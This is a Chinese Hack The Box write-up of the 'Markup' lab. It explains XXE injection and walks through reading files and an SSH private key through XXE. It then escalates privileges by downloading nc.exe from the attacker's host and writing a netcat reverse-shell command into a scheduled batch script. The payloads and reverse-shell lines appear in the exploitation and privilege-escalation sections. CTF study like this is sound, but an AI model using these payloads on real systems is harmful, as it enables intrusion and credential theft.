Hack The Box系列——【Markup】XML外部实体注入(XXE)
一、XML概述
- 可扩展标记语言(英語:Extensible Markup Language,简称:XML)是一种标记语言。XML是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。其基本格式如下
<?xml version="1.0" encoding="UTF-8"?> <信息> <收件人>a</收件人> <发件人>b</发件人> <主题>问候</主题> <內容>你好 </內容> </信息>
- 上面的代码中的第一行就是XML声明,<?xml version="1.0"?>。这一行代码会告诉解析器或浏览器,这个文件应该按照XML规则进行解析。
- XML文档如果以XML declaration开始,则表述了文档的一些信息。如
<?xml version="1.0" encoding="UTF-8"?>
- XML标记:一个tag属于标记结构,以
<
开头,以>
结尾。Tag名字是大小写敏感,不能包括任何字符 !"#$%&'()*+,/;<=>?@[\]^`{|}~, 也不能有空格符, 不能以"-"或"."或数字开始 - XML元素:元素是文档逻辑组成,如<aaa></aaa>
二、XML外部实体注入概述
- XML外部实体注入是一种针对解析XML格式应用程序的攻击类型之一。此类攻击发生在配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描(解析器所在域)和其他系统影响。
-
XML 1.0标准定义了XML文档结构,同时定义了实体的概念,即某种类型的存储单元。外部一般解析实体或外部参数解析实体通常简称为外部实体,攻击者可声明特定系统标识符
-
此类攻击利用系统标识符中的文件、Schema及相对路径来泄露本地文件(如用户数据等)。由于攻击过程发生在处理XML文档的应用程序中,攻击者可滥用此受信的应用程序对其他内部系统进行攻击,也可能通过http(s)请求泄露其他内部内容,亦可能对其他未受保护的内部服务进行跨站请求伪造攻击。在部分情形下,攻击者可通过解引用恶意URI的方式对存在内存损坏
三、XML外部实体注入利用
- 文件读取
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
- 代码执行。当PHP载入“expect”模块时,攻击者可使用修改过的载荷来执行远程代码
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
四、Hack The Box案例——Markup
(一)信息收集
-
端口扫描,开放了22、80、443端口,80、443端口开放有web服务,中间件为Apache 2.4.41,编程语言为PHP 7.2.28,OpenSSL 1.1.1c,服务器系统为Windows
-
打开网站,直接就是一个登录页面
-
尝试一下常见的弱口令,使用admin:password登录成功
-
在Order栏中,发现一个表单
-
看一看网页源代码,在注释中发现有用信息,像是一个用户名
-
BurpSuite抓包,熟悉的xml,有漏洞的话可能存在xxe注入,即xml外部实体注入
(二)getshell
-
修改数据包body为以下格式,重放数据包
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]> <order> <quantity> 2 </quantity> <item> &test; </item> <address> 17th Estate,CA </address> </order>
-
服务器正常回显,爆出了几个字段,验证确实存在xxe注入,利用xxe尝试读取该用户的ssh密钥,成功读取到密钥文件
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]> <order> <quantity> 2 </quantity> <item> &test; </item> <address> 17th Estate,CA </address> </order>
-
将id_rsa保存到kali,然后通过该rsa对服务器进行ssh连接,成功获取shell
-
在Desktop找到user.txt
(三)权限提升
-
查看当前用户权限
whoami /priv
-
cd到C盘根目录下,查看有什么文件夹,发现有一个Log-Management文件夹,该文件夹中有一个job.bat批处理脚本
-
type查看job.bat文件内容,该脚本以管理员权限调用了一个叫做wevtutil.exe的程序,看起来像是清除日志的,我们可以尝试利用这个进行提权
-
用icacls命令查看该批处理文件的权限,该脚本拥有system和Administrator权限
-
要通过该脚本获取反向shell,只需要通过netcat在批量处理中创建有效负载文件即可,在kali上下载windows的netcat二进制文件,然后开启一个简单的web服务,在目标主机上通过powershell命令将nc.exe下载到传到目标主机上
Powershell -c "IWR -useBasicParsing http://10.10.16.9:8000/nc.exe -o nc.exe"
-
然后在目标主机上通过netcat利用job.bat创建反向shell到kali上,kali开启nc监听
echo C:\Log-Management\nc.exe -e cmd.exe 10.10.16.9 4444 > C:\Log-Management\job.bat sudo nc lvnp 4444
-
成功获取到管理员权限,在管理员桌面找到root.txt